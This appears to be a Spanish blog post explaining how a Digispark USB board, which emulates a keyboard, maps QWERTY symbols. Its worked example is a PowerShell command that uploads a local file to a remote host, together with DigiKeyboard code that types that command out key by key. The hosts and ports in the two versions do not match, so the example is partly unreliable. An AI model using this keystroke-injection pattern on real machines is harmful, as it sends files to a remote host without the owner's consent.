Lista de signos Digispark (Caracteres, simbolos, etc...)
En el dispositivo Digispark hay muchas veces que los simbolos del teclado no los pilla como realmente son, ya que utiliza otro tipo de teclado a diferencia del QWERTY, por lo que he creado una lista de simbolos, caracteres, signos, etc... Para que se corresponda con lo que quereis programar en vuestro Digispark:
Hay muchos signos que se quedan como un null por lo que no estan implementados en la lista, la parte de la columna izquierda corresponde a los signos normales del teclado QWERTY y la columna de la derecha corresponde al signo del Digispark.
EJEMPLO:
Si por ejemplo queremos escribir un comando mediante el Digispark algo tal que asi...
Invoke-WebRequest-Uri "http://10.11.15.5:8080"-Method Post -InFile "test.txt"-ContentType "multipart/form-data"
En la programacion tendria que ser algo tal que asi...
// Escribir el comando Invoke-WebRequest en fragmentosDigiKeyboard.print("Invoke/WebRequest");DigiKeyboard.delay(100);DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacioDigiKeyboard.delay(100);DigiKeyboard.print("/Uri -http");DigiKeyboard.delay(100); // Enviar ':' usando SHIFT + .DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);DigiKeyboard.delay(100);DigiKeyboard.print("&&192.168.1.47");DigiKeyboard.delay(100); // Enviar ':' usando SHIFT + .DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);DigiKeyboard.delay(100);DigiKeyboard.print("8000-");DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacioDigiKeyboard.delay(100);DigiKeyboard.print("/Method Post ");DigiKeyboard.delay(100);DigiKeyboard.print("/InFile ");DigiKeyboard.delay(100);DigiKeyboard.print("test.txt");DigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(0x4F); // 0x4F es el código para la tecla de flecha derechaDigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacioDigiKeyboard.delay(100);DigiKeyboard.print("/ContentType multipart&form/data");DigiKeyboard.delay(100);DigiKeyboard.sendKeyStroke(KEY_ENTER);
Tendremos que sustituir cada simbolo de lo que queremos poner por el que interpreta Digispark.